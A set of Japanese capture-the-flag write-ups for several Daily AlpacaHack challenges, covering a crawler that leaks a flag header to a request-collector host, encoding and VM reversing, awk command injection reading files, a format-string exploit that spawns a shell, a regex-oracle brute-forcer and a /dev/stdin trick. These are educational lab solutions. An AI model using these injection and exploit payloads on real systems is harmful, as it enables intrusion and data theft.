Daily AlpacaHack: Fushigi Crawler Writeup
指定した URL にリクエストしてくれる Web サービスが渡される。 フロントエンドからリクエストを受けて、実際に Fetch API で外部にリクエストする API のコードは以下のようになっている。
import express from "express"; import rateLimit from "express-rate-limit"; const FLAG = process.env.FLAG ?? console.log("No flag") ?? process.exit(1); const app = express(); app.use(express.json()); app.use(express.static("public")); app.use("/api", rateLimit({ windowMs: 60 * 1000, max: 4, })); app.post("/api/crawl-request", async (req, res) => { const url = req.body?.url; if (typeof url !== "string" || (!url.startsWith("http://") && !url.startsWith("https://"))) return res.status(400).send("Invalid url"); try { const r = await fetch(url, { headers: { FLAG }, signal: AbortSignal.timeout(5000) }); // !! if (!r.ok) return res.status(502).send("Fetch failed"); return res.sendStatus(200); } catch (e) { return res.status(500).send(`Something wrong: ${e.name}`); } }); app.listen(3333);
ヘッダにフラグがついているみたいなので、RequestBin を使ってリクエストを受け取ることにした。
GET / HTTP/1.1
Host: 7ffe0ac08ab9539b8a1bg1zes5yyyyyyb.oast.pro
Accept: */*
Accept-Encoding: br, gzip, deflate
Accept-Language: *
Connection: keep-alive
Flag: Alpaca{CRAWLER_IS_SUGOI!}
Sec-Fetch-Mode: cors
User-Agent: node
受け取ったリクエストからフラグが得られた。
Alpaca{CRAWLER_IS_SUGOI!}
Daily AlpacaHack: Encoding Basics Writeup
以下のような Python のコードと、これの出力であるテキストファイルが渡されます。
from Crypto.Util.number import * import base64 import os flag = os.getenv("FLAG", "DUMMYD{DUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMY}").encode() flag1 = flag[:20] flag2 = flag[20:40] flag3 = flag[40:] print(f"long_value = {bytes_to_long(flag1)}") print(f'hex_string = "{flag2.hex()}"') print(f'base64_string = "{base64.b64encode(flag3).decode()}"')
long_value = 373502670300504551747111047082539140193958649718 hex_string = "346c5f6833785f6630726d61745f31735f636c33" base64_string = "NG5fYjY0X3A0ZGQxbmdfaXNfY29vbH0="
20文字ずつ区切ってそれぞれ bytes_to_long 、16進変換、base64エンコードされています。
逆の処理をして結合する以下のスクリプトを書いて実行することでフラグが得られました。
from Crypto.Util.number import * import base64 long_value = 373502670300504551747111047082539140193958649718 hex_string = "346c5f6833785f6630726d61745f31735f636c33" base64_string = "NG5fYjY0X3A0ZGQxbmdfaXNfY29vbH0=" print(f"{long_to_bytes(long_value).decode()}{bytes.fromhex(hex_string).decode()}{base64.b64decode(base64_string).decode()}")
Alpaca{b1g_1nt3ger_v4l_h3x_f0rmat_1s_cl34n_b64_p4dd1ng_is_cool}
Daily AlpacaHack: Useful Machine Writeup
Python で書かれた言語仮想マシンと、その言語仮想マシンで動作する中間表現のバイナリ(あるいは、独自命令セットを持つCPUをエミュレーションするVMとそのVMで動く実行可能バイナリ)が渡されます。
vm.py (クリックで展開)
import sys class VM: def __init__(self, program: bytes): self.program = program self.mem = [0] * 256 self.ip = 0 def _read_input_char(self) -> str: ch = sys.stdin.read(1) if ch == "": return "\x00" return ch def step(self) -> bool: if self.ip < 0 or self.ip >= len(self.program): return False code = self.program opcode = code[self.ip] oprand1 = code[self.ip + 1] oprand2 = code[self.ip + 2] self.ip += 3 if opcode == 0: ch = self._read_input_char() self.mem[oprand1] = ord(ch) % 256 elif opcode == 1: self.mem[oprand1] = oprand2 elif opcode == 2: self.mem[oprand1] = self.mem[oprand2] elif opcode == 3: self.mem[oprand1] = (self.mem[oprand1] + self.mem[oprand2]) % 256 elif opcode == 4: self.mem[oprand1] = (self.mem[oprand1] * self.mem[oprand2]) % 256 elif opcode == 5: self.mem[oprand1] = self.mem[oprand1] ^ self.mem[oprand2] elif opcode == 6: self.mem[oprand1] = 0 if self.mem[oprand1] != 0 else 1 else: raise RuntimeError(f"Unknown opcode {opcode!r} at ip={self.ip}") return True def run(self, max_steps: int = 10_000_000) -> bool: steps = 0 while steps < max_steps and self.step(): steps += 1 return self.mem[0] == 0 if __name__ == "__main__": with open("program", "rb") as f: program = f.read() vm = VM(program) print("Input flag: ") if vm.run(): print("Correct flag!") else: print("Incorrect flag.")
ざっと読むと、以下のことがわかります:
- 与えられた中間表現は標準入力からフラグを読み取って判定するプログラムであること
- 中間表現の各命令は 3 バイトの固定長であり、1 バイト目がオペコード、2 バイト目と 3 バイト目がオペランドであること
- 言語仮想マシンにはメモリ領域が 256 個ぶんあり、ゼロクリアされていること
mem[0]の値が最終的に 0 になっていた場合、正しいフラグが入力されたと判定すること
早速、中間表現がどのようなプログラムになっているか読みたいところですが、バイナリを直接読むのは大変なので、オペコードの分岐部分に print を仕込んで適当な入力を与えることで、中間表現を人間が読める形に変換しましょう。
oprand2 = code[self.ip + 2]
self.ip += 3
if opcode == 0:
+ print(f"mem[{oprand1}] = read_input_char()")
ch = self._read_input_char()
self.mem[oprand1] = ord(ch) % 256
elif opcode == 1:
+ print(f"mem[{oprand1}] = {oprand2}")
self.mem[oprand1] = oprand2
elif opcode == 2:
+ print(f"mem[{oprand1}] = mem[{oprand2}]")
self.mem[oprand1] = self.mem[oprand2]
elif opcode == 3:
+ print(f"mem[{oprand1}] += mem[{oprand2}]")
self.mem[oprand1] = (self.mem[oprand1] + self.mem[oprand2]) % 256
elif opcode == 4:
+ print(f"mem[{oprand1}] *= mem[{oprand2}]")
self.mem[oprand1] = (self.mem[oprand1] * self.mem[oprand2]) % 256
elif opcode == 5:
+ print(f"mem[{oprand1}] ^= mem[{oprand2}]")
self.mem[oprand1] = self.mem[oprand1] ^ self.mem[oprand2]
elif opcode == 6:
+ print(f"mem[{oprand1}] = 0 if mem[{oprand1}] != 0 else 1")
self.mem[oprand1] = 0 if self.mem[oprand1] != 0 else 1
else:
raise RuntimeError(f"Unknown opcode {opcode!r} at ip={self.ip}")
こんな感じでそれっぽい print を書いて実行し、十分な長さの入力を与えると、以下のような出力が得られます。
実行結果 (クリックで展開)
Input flag: mem[0] = 1 mem[1] = read_input_char() mem[1] += mem[3] mem[2] = 9 mem[1] ^= mem[2] mem[3] = mem[1] mem[2] = 184 mem[1] += mem[2] mem[1] = 0 if mem[1] != 0 else 1 mem[0] *= mem[1] mem[1] = read_input_char() mem[1] += mem[3] mem[2] = 218 mem[1] ^= mem[2] mem[3] = mem[1] mem[2] = 146 mem[1] += mem[2] mem[1] = 0 if mem[1] != 0 else 1 mem[0] *= mem[1] mem[1] = read_input_char() mem[1] += mem[3] mem[2] = 240 mem[1] ^= mem[2] mem[3] = mem[1] mem[2] = 210 mem[1] += mem[2] mem[1] = 0 if mem[1] != 0 else 1 mem[0] *= mem[1] mem[1] = read_input_char() mem[1] += mem[3] mem[2] = 218 mem[1] ^= mem[2] mem[3] = mem[1] mem[2] = 171 mem[1] += mem[2] mem[1] = 0 if mem[1] != 0 else 1 mem[0] *= mem[1] mem[1] = read_input_char() mem[1] += mem[3] mem[2] = 193 mem[1] ^= mem[2] mem[3] = mem[1] mem[2] = 135 mem[1] += mem[2] mem[1] = 0 if mem[1] != 0 else 1 mem[0] *= mem[1] mem[1] = read_input_char() mem[1] += mem[3] mem[2] = 238 mem[1] ^= mem[2] mem[3] = mem[1] mem[2] = 204 mem[1] += mem[2] mem[1] = 0 if mem[1] != 0 else 1 mem[0] *= mem[1] mem[1] = read_input_char() mem[1] += mem[3] mem[2] = 169 mem[1] ^= mem[2] mem[3] = mem[1] mem[2] = 250 mem[1] += mem[2] mem[1] = 0 if mem[1] != 0 else 1 mem[0] *= mem[1] mem[1] = read_input_char() mem[1] += mem[3] mem[2] = 202 mem[1] ^= mem[2] mem[3] = mem[1] mem[2] = 122 mem[1] += mem[2] mem[1] = 0 if mem[1] != 0 else 1 mem[0] *= mem[1] mem[1] = read_input_char() mem[1] += mem[3] mem[2] = 186 mem[1] ^= mem[2] mem[3] = mem[1] mem[2] = 191 mem[1] += mem[2] mem[1] = 0 if mem[1] != 0 else 1 mem[0] *= mem[1] mem[1] = read_input_char() mem[1] += mem[3] mem[2] = 208 mem[1] ^= mem[2] mem[3] = mem[1] mem[2] = 155 mem[1] += mem[2] mem[1] = 0 if mem[1] != 0 else 1 mem[0] *= mem[1] mem[1] = read_input_char() mem[1] += mem[3] mem[2] = 195 mem[1] ^= mem[2] mem[3] = mem[1] mem[2] = 231 mem[1] += mem[2] mem[1] = 0 if mem[1] != 0 else 1 mem[0] *= mem[1] mem[1] = read_input_char() mem[1] += mem[3] mem[2] = 137 mem[1] ^= mem[2] mem[3] = mem[1] mem[2] = 254 mem[1] += mem[2] mem[1] = 0 if mem[1] != 0 else 1 mem[0] *= mem[1] mem[1] = read_input_char() mem[1] += mem[3] mem[2] = 141 mem[1] ^= mem[2] mem[3] = mem[1] mem[2] = 22 mem[1] += mem[2] mem[1] = 0 if mem[1] != 0 else 1 mem[0] *= mem[1] mem[1] = read_input_char() mem[1] += mem[3] mem[2] = 128 mem[1] ^= mem[2] mem[3] = mem[1] mem[2] = 35 mem[1] += mem[2] mem[1] = 0 if mem[1] != 0 else 1 mem[0] *= mem[1] mem[1] = read_input_char() mem[1] += mem[3] mem[2] = 128 mem[1] ^= mem[2] mem[3] = mem[1] mem[2] = 68 mem[1] += mem[2] mem[1] = 0 if mem[1] != 0 else 1 mem[0] *= mem[1] mem[1] = read_input_char() mem[1] += mem[3] mem[2] = 90 mem[1] ^= mem[2] mem[3] = mem[1] mem[2] = 173 mem[1] += mem[2] mem[1] = 0 if mem[1] != 0 else 1 mem[0] *= mem[1] mem[1] = read_input_char() mem[1] += mem[3] mem[2] = 161 mem[1] ^= mem[2] mem[3] = mem[1] mem[2] = 235 mem[1] += mem[2] mem[1] = 0 if mem[1] != 0 else 1 mem[0] *= mem[1] mem[1] = read_input_char() mem[1] += mem[3] mem[2] = 199 mem[1] ^= mem[2] mem[3] = mem[1] mem[2] = 66 mem[1] += mem[2] mem[1] = 0 if mem[1] != 0 else 1 mem[0] *= mem[1] mem[1] = read_input_char() mem[1] += mem[3] mem[2] = 69 mem[1] ^= mem[2] mem[3] = mem[1] mem[2] = 154 mem[1] += mem[2] mem[1] = 0 if mem[1] != 0 else 1 mem[0] *= mem[1] mem[1] = read_input_char() mem[1] += mem[3] mem[2] = 249 mem[1] ^= mem[2] mem[3] = mem[1] mem[2] = 196 mem[1] += mem[2] mem[1] = 0 if mem[1] != 0 else 1 mem[0] *= mem[1] mem[1] = read_input_char() mem[1] += mem[3] mem[2] = 210 mem[1] ^= mem[2] mem[3] = mem[1] mem[2] = 135 mem[1] += mem[2] mem[1] = 0 if mem[1] != 0 else 1 mem[0] *= mem[1] mem[1] = read_input_char() mem[1] += mem[3] mem[2] = 162 mem[1] ^= mem[2] mem[3] = mem[1] mem[2] = 131 mem[1] += mem[2] mem[1] = 0 if mem[1] != 0 else 1 mem[0] *= mem[1] mem[1] = read_input_char() mem[1] += mem[3] mem[2] = 242 mem[1] ^= mem[2] mem[3] = mem[1] mem[2] = 210 mem[1] += mem[2] mem[1] = 0 if mem[1] != 0 else 1 mem[0] *= mem[1] mem[1] = read_input_char() mem[1] += mem[3] mem[2] = 67 mem[1] ^= mem[2] mem[3] = mem[1] mem[2] = 57 mem[1] += mem[2] mem[1] = 0 if mem[1] != 0 else 1 mem[0] *= mem[1] mem[1] = read_input_char() mem[1] += mem[3] mem[2] = 3 mem[1] ^= mem[2] mem[3] = mem[1] mem[2] = 205 mem[1] += mem[2] mem[1] = 0 if mem[1] != 0 else 1 mem[0] *= mem[1] mem[1] = read_input_char() mem[1] += mem[3] mem[2] = 79 mem[1] ^= mem[2] mem[3] = mem[1] mem[2] = 22 mem[1] += mem[2] mem[1] = 0 if mem[1] != 0 else 1 mem[0] *= mem[1] mem[1] = read_input_char() mem[1] += mem[3] mem[2] = 200 mem[1] ^= mem[2] mem[3] = mem[1] mem[2] = 106 mem[1] += mem[2] mem[1] = 0 if mem[1] != 0 else 1 mem[0] *= mem[1] mem[1] = read_input_char() mem[1] += mem[3] mem[2] = 90 mem[1] ^= mem[2] mem[3] = mem[1] mem[2] = 175 mem[1] += mem[2] mem[1] = 0 if mem[1] != 0 else 1 mem[0] *= mem[1] mem[1] = read_input_char() mem[1] += mem[3] mem[2] = 152 mem[1] ^= mem[2] mem[3] = mem[1] mem[2] = 214 mem[1] += mem[2] mem[1] = 0 if mem[1] != 0 else 1 mem[0] *= mem[1] mem[1] = read_input_char() mem[1] += mem[3] mem[2] = 82 mem[1] ^= mem[2] mem[3] = mem[1] mem[2] = 60 mem[1] += mem[2] mem[1] = 0 if mem[1] != 0 else 1 mem[0] *= mem[1] mem[1] = read_input_char() mem[1] += mem[3] mem[2] = 183 mem[1] ^= mem[2] mem[3] = mem[1] mem[2] = 108 mem[1] += mem[2] mem[1] = 0 if mem[1] != 0 else 1 mem[0] *= mem[1] mem[1] = read_input_char() mem[1] += mem[3] mem[2] = 253 mem[1] ^= mem[2] mem[3] = mem[1] mem[2] = 228 mem[1] += mem[2] mem[1] = 0 if mem[1] != 0 else 1 mem[0] *= mem[1] mem[1] = read_input_char() mem[1] += mem[3] mem[2] = 170 mem[1] ^= mem[2] mem[3] = mem[1] mem[2] = 41 mem[1] += mem[2] mem[1] = 0 if mem[1] != 0 else 1 mem[0] *= mem[1] mem[1] = read_input_char() mem[1] += mem[3] mem[2] = 231 mem[1] ^= mem[2] mem[3] = mem[1] mem[2] = 35 mem[1] += mem[2] mem[1] = 0 if mem[1] != 0 else 1 mem[0] *= mem[1] mem[1] = read_input_char() mem[1] += mem[3] mem[2] = 198 mem[1] ^= mem[2] mem[3] = mem[1] mem[2] = 125 mem[1] += mem[2] mem[1] = 0 if mem[1] != 0 else 1 mem[0] *= mem[1] mem[1] = read_input_char() mem[1] += mem[3] mem[2] = 226 mem[1] ^= mem[2] mem[3] = mem[1] mem[2] = 242 mem[1] += mem[2] mem[1] = 0 if mem[1] != 0 else 1 mem[0] *= mem[1] mem[1] = read_input_char() mem[1] += mem[3] mem[2] = 132 mem[1] ^= mem[2] mem[3] = mem[1] mem[2] = 8 mem[1] += mem[2] mem[1] = 0 if mem[1] != 0 else 1 mem[0] *= mem[1] mem[1] = read_input_char() mem[1] += mem[3] mem[2] = 112 mem[1] ^= mem[2] mem[3] = mem[1] mem[2] = 211 mem[1] += mem[2] mem[1] = 0 if mem[1] != 0 else 1 mem[0] *= mem[1] mem[1] = read_input_char() mem[1] += mem[3] mem[2] = 43 mem[1] ^= mem[2] mem[3] = mem[1] mem[2] = 117 mem[1] += mem[2] mem[1] = 0 if mem[1] != 0 else 1 mem[0] *= mem[1] mem[1] = read_input_char() mem[1] += mem[3] mem[2] = 235 mem[1] ^= mem[2] mem[3] = mem[1] mem[2] = 29 mem[1] += mem[2] mem[1] = 0 if mem[1] != 0 else 1 mem[0] *= mem[1] mem[0] = 0 if mem[0] != 0 else 1 Incorrect flag.
これを読むと、まず以下のことが目に留まります:
mem[1] = read_input_char()から次のmem[1] = read_input_char()まではmem[2]へ代入されている即値の値を除いて共通の処理が繰り返されていることmem[2]は即値を一時的に保存しておくためにのみ使用されていること
また、ループの外側の処理(最初の行と最終行)に注目し mem[0] の扱いを追っていくと、次のことにも気づきました:
mem[0]はループの前に1に初期化されていることmem[0]はループ中にmem[1]が 0 のときに 1、そうでないときに 0 が掛けられることmem[0]はループを抜けたあとに 0 と 1 が反転されること- 厳密には 0 以外だと 1 に、1 だと 0 になるが、1 か 0 しか掛け合わされていないことがループ内の処理を読むとわかるので、反転と捉えてよい
言語仮想マシンのコードでは mem[0] が最終的に 0 となることを期待されていたことを合わせて考えると、 mem[0] はループ中の何らかの判定結果が全て条件を満たしているかチェックするためのバッファ(配列に対する all を計算するときのアキュムレータ)であることがわかります。
以上の気づきを踏まえつつ、先程の読める形に変換した中間表現を整理すると、以下のような形になりました(Python っぽい書き方をしていますが、疑似コードです)。 % 256 は省略しています。
mem0 = True mem3 = 0 for pair = range(0, len(numbers), 2): mem3 = (read_input_char() + mem3) ^ a # a = 9 mem1 = mem3 + b # b = 184 mem0 = mem0 and (mem1 == 0) mem0 = not mem0
a と b は mem[2] に代入される即値のうち、ループ中に最初に入ってくるものを a 、2番めに入ってくるものを b と置き換えています。コメントの a = 9 と b = 184 は最初のループでそれぞれに入ってくる値をメモしたものです。
これでもまだ少しわかりにくかったので、図を書いて何をやっているか整理してみました。

図を見ると、以下のようなことがわかりました。
- XOR を利用したブロック暗号であり、ブロックサイズは1バイトである
- 平文ブロックに前の暗号文ブロックを加算してから暗号化するような暗号利用モードが使用されている
- key は
aである - 暗号文ブロックの 256 を法とした加算における逆元が
bである
この情報をもとに、 mem[2] に代入される即値のリストを numbers として以下のような復号処理を書きました。
numbers = [9,184,218,146,240,210,218,171,193,135,238,204,169,250,202,122,186,191,208,155,195,231,137,254,141,22,128,35,128,68,90,173,161,235,199,66,69,154,249,196,210,135,162,131,242,210,67,57,3,205,79,22,200,106,90,175,152,214,82,60,183,108,253,228,170,41,231,35,198,125,226,242,132,8,112,211,43,117,235,29] key = numbers[0::2] encrypted_flag = numbers[1::2] prev_block = 0 for (k, e) in zip(key, encrypted_flag): block = (e * -1) % 256 print(chr(((block ^ k) - prev_block) % 256), end="") prev_block = block
これを実行するとフラグが得られました。
Alpaca{Futures_Made_of_Virtual_Machines}
Daily AlpacaHack: Log Viewer Writeup
以下のような Web アプリケーション が渡されます。
POST リクエストの form で query を渡すと awk の引数として渡されている正規表現の中身として展開されて、 info.log の中身を検索できるもののようです。
import subprocess from flask import Flask, render_template, request app = Flask(__name__) @app.route("/", methods=["GET", "POST"]) def index(): query = "" log = "" if request.method == "POST": query = request.form.get("query", "") command = ["awk", f"/{query}/", "info.log"] result = subprocess.run( command, capture_output=True, timeout=0.5, text=True, ) log = result.stderr or result.stdout return render_template( "index.html", log=log, query=query, )
まず、 / を入力してみると、以下のようにエラーが出るので、メタ文字として解釈されていそうなことがわかります。これは使えそうです。
awk: line 1: syntax error at or near end of line
次に、 / { print $0 } を試してみると、以下のようなエラーが出ます。これはおそらく、後ろに残った / 部分が正規表現の始まりだと解釈されて、閉じられていないのでエラーになっていると考えられます。
awk: line 1: runaway regular expression / ...
awk はプログラミング言語なので、コメントアウトの方法があるのではと調べてみると、 # でコメントアウトできることがわかります。 / { print $0 } # を試してみると以下のようになります。
242.24.138.42 - - [01/Nov/2025 00:41:36] "DELETE / HTTP/2.0" 200 - 210.109.96.36 - - [01/Nov/2025 00:58:26] "PUT /api/items HTTP/1.0" 404 - 222.133.119.212 - - [01/Nov/2025 01:43:22] "GET /static/style.css HTTP/1.1" 500 - 239.122.152.88 - - [01/Nov/2025 02:18:59] "GET /static/app.js HTTP/1.0" 200 - 65.175.236.220 - - [01/Nov/2025 03:01:03] "POST /logout HTTP/2.0" 200 - 167.180.131.190 - - [01/Nov/2025 03:23:23] "GET /login HTTP/1.1" 200 - (省略)
これだと print が効いているのかイマイチわかりにくいので、 / { print $1 } # にしてみると、
242.24.138.42 210.109.96.36 222.133.119.212 239.122.152.88 65.175.236.220
となって、うまくいっていそうです。
あとは、awk で任意のコマンドを実行できる方法を探せば良さそうです。以下の記事を読むと、 system() を使うか getline を使うかの選択肢がありそうです。
最初に system() を試してみましたが、 / { system("ls") } # を入力すると、Internal Server Error になったりしてうまくいかなそうです。ローカルでサーバーを動かしてこの入力をしたときのバックエンドエラーを確認しましたが、なぜかタイムアウトしていて正直よくわからないという感じでした。
バックエンドエラー
web-1 | 172.21.0.1 - - [24/Dec/2025 14:35:35] "POST / HTTP/1.1" 500 -
web-1 | [2025-12-24 14:35:56,133] ERROR in app: Exception on / [POST]
web-1 | Traceback (most recent call last):
web-1 | File "/usr/local/lib/python3.14/site-packages/flask/app.py", line 1511, in wsgi_app
web-1 | response = self.full_dispatch_request()
web-1 | File "/usr/local/lib/python3.14/site-packages/flask/app.py", line 919, in full_dispatch_request
web-1 | rv = self.handle_user_exception(e)
web-1 | File "/usr/local/lib/python3.14/site-packages/flask/app.py", line 917, in full_dispatch_request
web-1 | rv = self.dispatch_request()
web-1 | File "/usr/local/lib/python3.14/site-packages/flask/app.py", line 902, in dispatch_request
web-1 | return self.ensure_sync(self.view_functions[rule.endpoint])(**view_args) # type: ignore[no-any-return]
web-1 | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^
web-1 | File "/app/app.py", line 16, in index
web-1 | result = subprocess.run(
web-1 | command,
web-1 | ...<2 lines>...
web-1 | text=True,
web-1 | )
web-1 | File "/usr/local/lib/python3.14/subprocess.py", line 556, in run
web-1 | stdout, stderr = process.communicate(input, timeout=timeout)
web-1 | ~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^
web-1 | File "/usr/local/lib/python3.14/subprocess.py", line 1220, in communicate
web-1 | stdout, stderr = self._communicate(input, endtime, timeout)
web-1 | ~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^
web-1 | File "/usr/local/lib/python3.14/subprocess.py", line 2127, in _communicate
web-1 | self._check_timeout(endtime, orig_timeout, stdout, stderr)
web-1 | ~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
web-1 | File "/usr/local/lib/python3.14/subprocess.py", line 1267, in _check_timeout
web-1 | raise TimeoutExpired(
web-1 | ...<2 lines>...
web-1 | stderr=b''.join(stderr_seq) if stderr_seq else None)
web-1 | subprocess.TimeoutExpired: Command '['awk', '// { system("ls") } #/', 'info.log']' timed out after 0.5 seconds
system() を使うのは諦めて、 getline を使う方向で試してみます。 / { "ls /" | getline t; print t } # を入力すると、以下のような出力が得られました。うまくいっていそうです。
app bin boot dev etc flag-3876917cbd1b3db12e39587c66ac2891.txt home (省略)
フラグのファイル名がわかったので、ファイルの中身を読むために / { "cat /flag-c524ccd5b45a2f09035bb98e967d0aae.txt" | getline t; print t } # を入力してみると、いっぱいフラグが得られました。
Alpaca{th3_AWK_Pr0gr4mming_Lan9u4g3}
Alpaca{th3_AWK_Pr0gr4mming_Lan9u4g3}
Alpaca{th3_AWK_Pr0gr4mming_Lan9u4g3}
Alpaca{th3_AWK_Pr0gr4mming_Lan9u4g3}
Alpaca{th3_AWK_Pr0gr4mming_Lan9u4g3}
Alpaca{th3_AWK_Pr0gr4mming_Lan9u4g3}
(省略)
Daily AlpacaHack: Rotten Beef Writeup
以下のような C で書かれたコードとコンパイル済みの実行可能バイナリ、それが動いているサーバーが渡されます。
コードを読むと、 scanf で標準入力から読み取られた文字列が printf の第一引数として渡っていて、FSB がありそうなことがわかります。
後続の処理を読むと、 key が 0xbeef になっていれば、シェルが実行されて、フラグを読むことができそうです。
#include <stdio.h> #include <unistd.h> int main(void) { int key = 0xdead, dummy = 0xdead; char buffer[12]; printf("input > "); scanf("%11s", buffer); printf("Your input: "); printf(buffer, &key, &dummy); // !? printf("\n"); if(key == 0xbeef){ printf("key = 0x%x (dummy = 0x%x), ok!\n", key, dummy); printf("Congratulations! spawning shell...\n"); execve("/bin/sh", NULL, NULL); } else{ printf("key = 0x%x (dummy = 0x%x), try again!\n", key, dummy); } return 0; }
FSB といえば %n なので、これを利用することをまず考えます。printf の第二引数に &key が渡っていることから、 key の値を書き換えること自体はできそうですが、scanf が 11 文字しか読み取っていないことに注意が必要です。 key を 0xbeef にするには、 %n の前に 0xbeef = 48879 文字出力させなければいけません。 dummy をうまく使うんだろうか…?なんてことを考えながら、 printf のドキュメントを眺めていると、使えそうなフォーマット指定子が見つかりました。
m
(glibc での拡張; uClibc と musl で対応) strerror(errno) の出力を表示する。引数は必要ない。 https://linuxjm.sourceforge.io/html/LDP_man-pages/man3/printf.3.html
「引数は必要ない」というところがポイントで、 &key は第二引数にあるため、 %48879x%n のような入力では、 key ではなく dummy に値が入ってしまいます。 %m を使用することで、引数を消費せずに必要な文字数を出力させることができます。
%48879m%n
のように入力することで、シェルが起動し、フラグが得られました。
$ nc 34.170.146.252 43086
input > %48879m%n
Your input: (省略)
key = 0xbeef (dummy = 0xdead), ok!
Congratulations! spawning shell...
ls
bin
boot
chal
dev
etc
flag.txt
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
cat flag.txt
Alpaca{format_str1ng_is_s0_fun}
これを書いたあとに作問者の Writeup を見たら、 %1$n みたいな書き方でどの引数の指すアドレスに格納するか選択できるみたいで勉強になりました
Daily AlpacaHack: hit-and-miss Writeup
以下のような、正規表現を与えるとフラグがそれにマッチしているかを判定してくれるサーバーが建っています。
import os, re FLAG = os.environ.get("FLAG", "Alpaca{REDACTED}") assert re.fullmatch(r"Alpaca\{\w+\}", FLAG) while pattern := input("regex> "): if re.match(pattern, FLAG): print("Hit!") else: print("Miss...")
以下のように、 \w にマッチする値を列挙して半分ずつ [] で囲って ^Alpaca{ の末尾に追加し、二分探索で1文字ずつ特定していくコードを書きました。 } が出現しても止まらないガバガバコードなので、自分で Ctrl-C して止める必要があります。試行錯誤の結果 else 句しか中身がない if が生まれたりしていますが、ご愛嬌ということで。
package main import ( "fmt" "log" "net" "strings" ) const ( Addr = "34.170.146.252:46849" Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123156789_{}" ) var CharList = []byte(Chars) func main() { conn, err := net.Dial("tcp", Addr) if err != nil { panic(err) } defer conn.Close() buf := make([]byte, 1024) if _, err := conn.Read(buf); err != nil { panic(err) } if !strings.HasPrefix(string(buf), "regex>") { log.Fatalln(string(buf)) } ans := []byte{} left, right := 0, len(CharList) for { orig_right := right right = (left + right) / 2 payload := []byte("^") payload = append(payload, ans...) payload = append(payload, []byte("[")...) payload = append(payload, CharList[left:right]...) payload = append(payload, []byte("]")...) payload = append(payload, []byte("\n")...) fmt.Println(string(payload)) if _, err := conn.Write(payload); err != nil { panic(err) } buf := make([]byte, 1024) if _, err := conn.Read(buf); err != nil { panic(err) } fmt.Println(string(buf)) if strings.Contains(string(buf), "Hit!") { } else { left = right right = orig_right } if len(CharList[left:right]) == 1 { ans = append(ans, CharList[left:right]...) left, right = 0, len(CharList) } } }
これを実行することで、フラグが得られました
Alpaca{Reg3x_Crossw0rd}
こういう二分探索、いつまで経っても微妙にバグらせるんですよね…
Daily AlpacaHack: 🐈 Writeup
Nyan Cat!
にゃーん
という感じで Web アプリケーションの URL とソースコードが渡されます。 入力したファイルの中身を表示してくれるアプリケーションのようです。
パスを受け取ってファイルの中身を返却する API の中身は以下のようになっています。
@app.get("/cat") def cat(): file = request.args.get("file", "app.py") if not Path(file).exists(): return "🚫" if "flag" in file: return "🚩" return subprocess.run( ["cat", file], capture_output=True, timeout=1, stdin=open("flag.txt"), # !! ).stdout.decode()
ファイルが存在しなかったり、パスに flag が含まれていたりすると、early return して、 cat コマンドの実行部分までたどり着けません。
よく見ると、 cat コマンドを実行する subprocess.run に標準入力として flag.txt の中身が渡っており、ご丁寧に # !! とコメントまでされています。ファイルとして存在していて、 cat の引数として渡せて、標準入力を表すもの…そう、 /dev/stdin ですね!
というわけで、 /dev/stdin を入力すると、フラグが得られました。
Alpaca{https://http.cat/100}